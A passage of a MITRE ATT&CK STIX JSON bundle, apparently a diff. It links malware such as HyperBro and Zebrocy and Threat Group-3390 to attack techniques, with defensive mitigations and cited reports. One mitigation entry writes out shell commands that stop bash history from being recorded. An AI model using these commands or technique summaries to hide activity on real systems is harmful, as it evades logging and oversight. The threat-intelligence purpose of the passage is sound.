"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) can run shellcode it injects into a newly created process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.979Z", + "id": "relationship--1e9c15dc-2ba7-421e-8d67-6b59e0c457c7", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.881Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to run an application (CreateProcessW) or script/file (ShellExecuteW) via API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.984Z", + "id": "relationship--bc8cb83f-fc66-4c44-8d60-f6f4be4b4f41", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.883Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has the ability to take screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.982Z", + "id": "relationship--90ce2bf5-4fef-4d9d-b670-2a5ae8b7ba4d", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.904Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has used HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:44.986Z", + "id": "relationship--4e37e10a-4832-4c5b-8164-f6f6eec8cacd", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.920Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[HyperBro](https://attack.mitre.org/software/S0398) has used a legitimate application to sideload a DLL to decrypt, decompress, and run a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:42:45.002Z", + "id": "relationship--3b4b4665-530f-4b8c-b090-48ae99eae905", + "source_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "modified": "2019-07-14T21:14:18.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a variety of Web shells.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.010Z", + "id": "relationship--6468546f-721e-4df8-90a3-67b39a7b2834", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-101 to move laterally to other systems on the network.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.025Z", + "id": "relationship--f9ec1b10-f819-42d8-a4b4-ecf015999cb6", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited the Microsoft SharePoint vulnerability CVE-2019-0604.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.051Z", + "id": "relationship--1b9b061b-5ead-45f3-b4cc-30d8427b0649", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.414Z", + "id": "relationship--deb55b94-e38c-4941-9ebd-8cc3343c3eae", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5e814485-012d-423d-b769-026bfed0f451", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.427Z", + "id": "relationship--a05c887d-9f4b-490c-843e-e6f98641fe77", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-09T17:54:21.445Z", + "id": "relationship--565f6cdf-e29b-430d-8b42-e0b0b93fa994", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--c41a8b7c-3e42-4eee-b87d-ad8a100ee878", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-10T15:47:19.659Z", + "id": "relationship--53364899-1ea5-47fa-afde-c210aed64120", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:21.086Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-10T19:29:44.406Z", + "id": "relationship--6012ab0d-2f78-41bb-904c-b077b644eaf1", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-07-10T20:57:37.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses PowerShell loops to iteratively check for available commands in its OneDrive C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-14T21:02:01.401Z", + "id": "relationship--392ae34f-3fb7-444b-a5cc-3a1ddcaa96a6", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:02:01.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "description": "Ensure all application component binaries are signed by the correct application developers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-15T16:18:21.093Z", + "id": "relationship--01a603b5-a9b1-4567-864d-6dfaa0430057", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "modified": "2019-09-27T19:01:29.798Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "description": "Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-15T16:29:18.373Z", + "id": "relationship--f470dae2-81c9-48c4-aeab-27cebe318a09", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-09-27T19:01:29.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) acquires valid SSH accounts through brute force.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T16:14:50.400Z", + "id": "relationship--e5ba408f-92d3-404a-b3e1-adcd5d21bc5f", + "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", + "modified": "2019-07-26T20:18:44.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.", + "source_name": "Anomali Linux Rabbit 2018", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T17:24:49.784Z", + "id": "relationship--3c5f6c2a-7940-4cdc-8b25-811e33d9b96a", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-14T20:45:04.691Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T17:48:35.097Z", + "id": "relationship--00a9c85e-e34e-4b85-a849-38bcb80cc71c", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T19:07:04.916Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025", + "description": "Adversaries install new AppCertDLL binaries to execute this technique. Identify and block potentially malicious software executed through AppCertDLLs functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:05:54.031Z", + "id": "relationship--c331fa13-9e17-4a90-b59b-cf0fa08f0cd8", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T19:05:54.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "description": "Adversaries can install new AppInit_DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit_DLLs functionality by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:09:25.417Z", + "id": "relationship--3ed57f95-4962-448a-892b-9b3d1029633a", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T19:09:25.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "Use multi-factor authentication for accounts used with application deployment software.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:17:34.992Z", + "id": "relationship--a33478a8-f3f4-4d6c-bed2-62112e0cbfc7", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-16T19:17:34.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:17:35.009Z", + "id": "relationship--15c504cc-6f8c-46d5-b147-d8c6fca03dfd", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-16T19:17:35.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "description": "Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:24:58.172Z", + "id": "relationship--feb8a868-1956-4dc5-802c-efa8c455034b", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-16T19:24:58.172Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T19:54:57.424Z", + "id": "relationship--a7abebf1-687a-40b7-9d11-c68e0e41c19c", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-16T19:54:57.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "\nConsider limiting access to the BITS interface to specific users or groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T20:02:53.325Z", + "id": "relationship--279fa1bc-e514-4125-ab7e-51fb1da8a3f2", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-16T20:02:53.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T20:28:55.404Z", + "id": "relationship--9ae39090-1b20-4a81-8c03-841cd46d0f0b", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-16T20:28:55.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "Configure internal and external firewalls to block traffic using common ports that associate to network protocols that may be unnecessary for that particular network segment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T20:51:40.453Z", + "id": "relationship--205b99bf-ce60-4bb5-8916-ac9d97ce4d05", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-16T20:51:40.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "Disallow or restrict removable media at an organizational policy level if they are not required for business operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T20:53:20.687Z", + "id": "relationship--c4b3287c-5e5a-4ec0-bc20-4e3b6a0c296f", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-16T20:53:20.687Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T21:00:11.765Z", + "id": "relationship--d514d73a-27de-409d-bff9-d7e48f2859a6", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T21:00:11.769Z", + "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "description": "Identify and block potentially malicious and unknown .cpl files by using application whitelisting tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T21:10:28.523Z", + "id": "relationship--a1f159ff-c736-44db-ab58-1fffcb7c8404", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-16T21:10:28.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "Protect domain controllers by ensuring proper security configuration for critical servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-16T21:24:16.586Z", + "id": "relationship--6808a607-0c81-433b-a027-2f1a8fe163c9", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-10-18T18:48:45.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-17T15:45:37.493Z", + "id": "relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-11T12:49:34.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "\nManage the access control list for \u201cReplicating 